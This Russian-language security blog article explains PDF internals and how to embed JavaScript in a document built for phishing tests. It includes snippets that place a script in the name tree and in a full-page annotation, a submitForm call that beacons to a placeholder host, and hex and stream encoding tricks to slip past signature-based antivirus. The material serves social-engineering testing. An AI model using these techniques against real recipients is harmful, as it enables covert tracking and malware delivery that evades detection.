Введение
Согласно статистике, большинство всех атак совершается с использованием вредоносного программного обеспечения, а половина от всех атак проводится с использованием методов социальной инженерии.
Таким образом, для проведения проверок с использованием методов социальной инженерии полезно научиться отслеживать реакцию пользователей, что они будут делать с полученным документом. Причём делать это необходимо штатными средствами, никого не взламывая. JavaScript идеально подходит для этих целей.
Мы, Маргарита Белоусова, аналитик аналитического центра и Анастасия Прядко, специалист по анализу защищенности компании УЦСБ написали пошаговую инструкцию, как сделать фишинговый документ: детали и примеры кода. Кроме того, мы кратко рассмотрели структуру PDF-файла, как и куда в него внедрять JavaScript, а также способы маскировки факта внедрения скрипта. Наш опыт пригодится безопасникам, системным администраторам и всем, кто связан с ИБ.
Структура PDF
Организация данных в памяти
PDF способен на большее, чем просто отображать текст. Он может также включать в себя изображения и другие мультимедийные элементы, может быть защищён паролем, выполнять JavaScript и многое другое. Вне зависимости от версии структура PDF документа неизменна:
1. Заголовок (header): самая первая строка файла, хранит номер версии спецификации PDF. На картинке выше представлен заголовок PDF-файла версии 1.7. Символ «%» вне строки или потока вводит комментарий в PDF.
2. Тело (body): хранит в себе все объекты PDF — текстовые потоки, различные мультимедийные элементы и тому подобное. Тело используется для хранения всех данных документа, отображаемых пользователю.
3. Таблица ссылок (cross-reference table): таблица перекрёстных ссылок, содержащая смещения каждого объекта в памяти. Это позволяет приложению получать произвольный доступ к любому объекту документа, не читая его целиком. Каждая таблица начинается с ключевого слова «xref». Во второй строке первое число – это номер текущего объекта, а второе – количество строк в таблице.
Каждый объект здесь представлен одной записью длиной 20 байтов (включая CRLF). Первые 10 байтов – это смещение объекта от начала PDF-документа до начала этого объекта. Далее разделем пространства с другим числом, определяющим номер поколения объекта. После этого есть еще один разделитель пространства, за которым следуют буква «f» или «n», чтобы указать, свободен или используется объект.
Первый объект имеет идентификатор 0 и содержит одну запись с номером поколения 65535, находящимся во главе списка свободных объектов (обратите внимание на букву «f», что означает свободный). Последний объект в таблице перекрестных ссылок использует номер поколения 0.
4. Блок поиска таблиц объектов и ссылок (trailer): предоставляет соответствующую информацию о том, как приложение, читающее файл, должно найти таблицу перекрестных ссылок и другие специальные объекты. В трейлере также содержится информация о количестве исправлений, внесенных в документ. Все приложения для чтения PDF начинают с этого раздела.
«Size» здесь означает количество записей в таблице ссылок, «Root» указывает косвенную ссылку на корневой объект документа, а «Info» ссылает на информационный объект.
PDF был разработан с учётом возможности обновления. При постепенном обновлении PDF-файла изменения должны быть добавлены в конец файла, оставляя его исходное содержимое нетронутым.
Дополнительные разделы перекрестных ссылок содержат только записи для объектов, которые были изменены, заменены или удалены. Удаленные объекты остаются в файле, но отмечаются флагом «f». Каждый трейлер должен быть завершен тегом «%% EOF» и должен содержать запись «Prev», которая указывает на предыдущий раздел перекрестных ссылок.
Косвенные объекты
Каждый такой объект начинается с записи из двух чисел: номер объекта и его поколение. Далее следует ключевое слово «obj», за ним следует сам объект и закрывает всё это дело ключевое слово «endobj». Чтобы сослаться на такой объект косвенной ссылкой, указываем номер объекта, его генерацию и ключевое слово «R».
О JavaScript
Согласно классификации модели безопасности Adobe, функции были разделены на привилегированные и непривилегированные. Все критические функции выполняются в привилегированном контексте; пользователь получает предупреждение перед выполнением такой функции, которое необходимо принять для продолжения операции. Все прочие функции выполняются без предупреждений или ограничений.
Обратим внимание, что не все просмотрщики поддерживают исполнение скриптов, некоторые позволяют исполнять только очень ограниченный набор функций. В том же Adobe Reader есть возможность принудительно отключить возможность исполнения JavaScript.
Код JavaScript в PDF должен быть представлен действием, которое задаётся в словаре следующим образом:
Ключ «S» указывает на тип действия; в данном случае «JavaScript». Под ключом «JS» указывается сам код. Его представляем в виде строки или потока.
Данный словарь можно хранить в любом месте, где можно использовать действия; например, в OpenAction. В этом случае код исполнится в момент открытия документа. Кроме того, ради поддержки параметризованных функций в PDF существует возможность хранить код в дереве имён. Тогда, при открытии документа все функции, определённые в дереве имён, будут исполнены и определены для использования другими скриптами в документе.
Разберём конкретный пример. Посмотрим сначала на корневой объект. Он представлен словарём <<ключ1 значение1 ключ2 значение2 …>>. В строке 7 он содержит косвенную ссылку (6 0) на корень дерева имён.
Далее, посмотрим на дерево имён. Строка 50 также содержит косвенную ссылку на объект (7 0), содержащий дерево имён с действиями JavaScript.
Далее, строка 70 объекта (7 0) содержит перечень имён в массиве [ключ1 значение1 ключ2 значение2 …], отсортированный в лексикографическом порядке. В данном случае пара ключ-значение только одна. Имя ключа не несёт никакого сакрального смысла и нужно для удобства организации хранения скриптов.
Объект (8 0) содержит, наконец, сам JS-код. Строка 64 описывает тип действия, в данном случае JavaScript. Строка 62 содержит сам скрипт в текстовом виде.
Так результат отображается в Google Chrome:
В Adobe Acrobat:
Внедрим теперь тот же скрипт, но уже в OpenAction:
Откроем документ просмотрщиком и сравним с предыдущим вариантом. В Google Chrome разница визуальна не заметна:
А вот Adobe Acrobat позволяет визуально определить разницу во времени, когда исполняется скрипт.
6Сборка файла для социальной инженерии
Для внедрения кода и разбора файлов я использовала библиотеку для Python pdfrw. Для экспериментов будем использовать документ file-sample_150kB.pdf. Во всех последующих примерах фигурирует следующий скрипт:
app.alert("Click here");
this.submitForm('https://my.url/');
Для начала внедрим код просто в дерево имён и откроем результат в Adobe Reader:
/Names: <</JavaScript: <<
/Names: [(script_name), <<
JS: (my_script;), /S: /JavaScript>>] >> >>
Сначала появится окно предупреждения. Так что есть возможность подобрать текст так, чтобы в дальнейшем было не страшно нажать «разрешить» в окне разрешения доступа.
Окно разрешения:
До того, как пользователь нажмёт кнопку «разрешить», приложение отправит DNS-запрос. Для примера был выбран pipedream.net, поскольку домен второго уровня здесь не резолвится. Если бы его можно было разрезолвить, как тот же burpcollaborator.net, процесс бы на этом остановился. Приложение будет опускаться на один домен ниже до тех пор, пока он не разрезолвится (или резолвить будет нечего)
Если нажать кнопку «разрешить», то появится окно передачи данных:
Запрос дошёл до точки:
Однако, если мы захотим применить такое зная, что пользователь будет открывать документ в браузере на движке Chromium, то такой метод не сработает. Chromium использует в качестве просмотрщика PDF сильно ограниченный PDFium, и просто так «submitForm» не исполнить, однако в аннотации к странице можно.
Собственно, давайте сделаем это:
/Annots: [ <</Type: /Annots, /Subtype: /Widget,
/Rect: [0, 0, 900, 900], /Border: [0, 0, 0],
/A: << /S: /JavaScript, /JS: (my_script;)>>,
/Parent: <</FT: /Btn, /T: (script_name) >> >> ]
При открытии документа в Google Chrome и нажатии на любом месте страницы появляется оповещение, не оставляющее альтернатив, кроме как нажать «ОК». Для запрета можно закрыть вкладку. При подтверждении для жертвы с виду больше ничего не происходит.
Но на самом деле запрос уже ушёл на сервер:
Прятки с антивирусами
Некоторые файрволы и антивирусы работают исключительно методом сигнатурного поиска, так что было бы неплохо научиться избегать потенциального обнаружения. Глобально можно выделить две стратегии обфускации, которые можно комбинировать между собой различными способами. При правильном исполнении разницы в отображении документа до и после манипуляций быть не должно.
Потоки
Этот тип данных поддерживает применение различных фильтров к данным потока. Таким образом можно скрывать содержимое потока:
В данном примере используется фильтр «FlateDecode», устанавливающийся для данных, сжатых методом «zlib/deflate». Не обязательно использовать только один фильтр, их можно устанавливать несколько, перечисляя в массиве: /Filter [/filter1 /filter2 …]. В результате применения фильтров становится очень тяжело получить обычный текст. Кроме того, PDF также поддерживает задания целых объектов или групп объектов в потоке посредством «ObjStm».
Манипуляции со строками
Благодаря синтаксису PDF строки и имена можно писать по-разному. Это полезно в случае, если инструменты статистического анализа просто определяют определённые ключевые слова в документе, например «JavaScript».
В следующем примере используется шестнадцатеричная кодировка, чтобы сокрыть слова «JavaScript», «JS», а также название и содержание самого скрипта, плюс в шестнадцатеричной строке расставлены пробельные символы в произвольных местах (механизм рендеринга PDF игнорирует их и просто объединяет части строки):
Подводя итоги
Таким образом, для проведения проверок с использованием методов социальной инженерии было бы полезно научиться отслеживать реакцию пользователей, что они будут делать с полученным документом. Причём делать это необходимо штатными средствами, никого не взламывая. JavaScript идеально подходит для этих целей.
Используя комбинации триггеров, действий и/или сегментов JS-кода можно инициировать внешние подключения, исполнять произвольный код. Но можно и валидировать ввод в формах, автоматически заполнять поля, динамического изменять страницы при отправке на печать. Хотя результат всё ещё очень сильно зависит от приложения, использующегося для просмотра документа. Не существует универсальной нагрузки или атаки, которая одинаково бы работала для каждого просмотрщика, успех всегда будет зависеть от механизма рендеринга PDF, полноты его реализации и политик безопасности.
Источники и дальнейшее чтение
JavaScript for Acrobat API Reference
How to Embed JavaScript into PDF
Комментарии (3)
Ewrey
00.00.0000 00:00Интересная штука вносить строки кода, то есть трояны, в неисполняемый файл. Хотелось бы узнать и то как защищаться от этого и как этот файл выглядит в антивирусных проверках в зависимости от кода, если вообще есть корреляция какая-то. Единственное я не понял, можно ли делать все те операции, которые не доступны в браузере (отправка данных на чужой DNS и т.д), но доступны на Node JS
9982th
00.00.0000 00:00Уязвимости в программах, позволяющие выполнять код посредством специально созданных пользовательских файлов для этой программы, — не такая уж и редкость. Вот уязвимость в ImageMagick, код встраивается в сразу несколько форматов, включая png, вот ffmpeg и видеофайлы, вот vim и, соответственно, любой плайнтекст.
Можно, впрочем, возразить, что скрипты в pdf или svg, как и макросы в Word, — это не уязвимость, а сознательно добавленный функционал.
WhiteApfel
Прикольно, надо будет потыкать на досуге ????